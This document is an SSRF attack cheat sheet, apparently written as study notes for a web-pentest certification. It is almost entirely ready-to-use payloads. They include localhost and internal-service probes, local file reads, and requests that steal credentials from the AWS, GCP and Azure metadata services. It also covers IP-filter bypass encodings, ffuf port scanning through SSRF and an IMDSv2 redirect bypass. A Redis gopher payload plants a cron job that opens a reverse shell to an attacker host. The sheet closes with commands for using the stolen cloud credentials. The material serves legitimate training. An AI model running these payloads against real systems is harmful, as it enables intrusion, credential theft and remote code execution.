Web

SSRF

Server-Side Request Forgery from the CWES path: reach internal services, read local files, hit cloud metadata (AWS/GCP/Azure), bypass IP filters, and port-scan localhost. Every payload separated.

Detection

Step 1 — Identify URL-fetching parameters

In Burp Proxy → HTTP history, look for parameters that look like they fetch a remote resource. Common names:

url=  dataserver=  webhook=  callback=  redirect=  next=  dest=
uri=  path=  image=  img=  src=  fetch=  load=  file=  link=

Also check: HTTP headers like Referer, X-Forwarded-For, Origin, and JSON body fields like "endpoint", "host", "target".

Step 2 — Confirm with Burp Collaborator (out-of-band)

Send the request to Repeater. Replace the URL value with your Burp Collaborator domain:

url=http://YOUR_COLLABORATOR_DOMAIN

Click Poll now in the Collaborator tab. If you receive a DNS lookup or HTTP request → the server is making outbound requests with your input → SSRF confirmed.

Step 3 — Test localhost access

url=http://127.0.0.1
url=http://localhost
url=http://localhost:80/admin

A different response (200 vs 403, or internal content) compared to a non-existent host confirms the server-side request is reaching internal services.

Step 4 — Blacklist bypass (if direct IPs are blocked)

http://2130706433          ← decimal representation of 127.0.0.1
http://0x7f000001          ← hex
http://127.1
http://127.0.1
http://[::1]               ← IPv6 localhost
http://localhost.attacker.com  ← DNS resolves to 127.0.0.1

Where to inject

Parameters that fetch a URL server-side:

url=  dataserver=  webhook=  callback=  redirect=  next=  dest=  uri=  path=  image=  img=  src=  fetch=

Reach internal services

Hit an internal-only web service:

http://127.0.0.1/admin

Read a local file:

file:///etc/passwd

SSRF to Redis via dict:

dict://127.0.0.1:6379/info

Cloud metadata

AWS - steal IAM credentials:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

GCP - service-account token (needs Metadata-Flavor: Google header):

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure - OAuth token:

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

IP filter bypass

All of these resolve to 127.0.0.1:

http://127.1/
http://2130706433/
http://0x7f000001/
http://[::1]/

Internal port scan

Fuzz ports through the SSRF (open vs closed gives a different error):

ffuf -w ./ports.txt -u http://IP/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"

Internal endpoint fuzzing

Find hidden endpoints on an internal host:

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://TARGET/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://internal.htb/FUZZ.php&date=2024-01-01" -fr "Server at internal.htb Port 80"

Blind SSRF

Confirm with a listener callback:

nc -lnvp 8000

Point the SSRF at your listener:

http://OUR_IP:8000/test

Gopher Protocol — SSRF to RCE

gopher:// sends raw TCP bytes — use it to interact with backend services that don’t speak HTTP.

Redis RCE via Gopher

Redis on 6379/tcp, unauthenticated — write a cron job:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A*/1 * * * * /bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

Generate payloads with Gopherus:

git clone https://github.com/tarunkant/Gopherus
python gopherus.py --exploit redis

Memcached via Gopher

gopher://127.0.0.1:11211/_%0d%0aset%20key%200%200%205%0d%0avalue%0d%0a

AWS IMDSv2 Bypass

IMDSv2 requires a PUT token — simple GET-based SSRF won’t steal credentials directly.

If SSRF supports PUT + custom headers

PUT http://169.254.169.254/latest/api/token
  TTL-Seconds: 21600

Then use the returned token:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
  X-aws-ec2-metadata-token: TOKEN

If only GET — redirect chain bypass

Host a redirect on your server (302 → http://169.254.169.254/latest/meta-data/...). The server follows the redirect carrying its own headers.

Or abuse an open redirect on a trusted domain:

url=https://trusted.com/redirect?next=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Cloud Pivot Chains

AWS: stolen IAM credentials

export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances --region us-east-1
aws secretsmanager list-secrets
aws lambda list-functions

GCP: stolen service account token

curl -H "Authorization: Bearer TOKEN" \
  "https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"

Azure: stolen managed identity token

curl -H "Authorization: Bearer TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"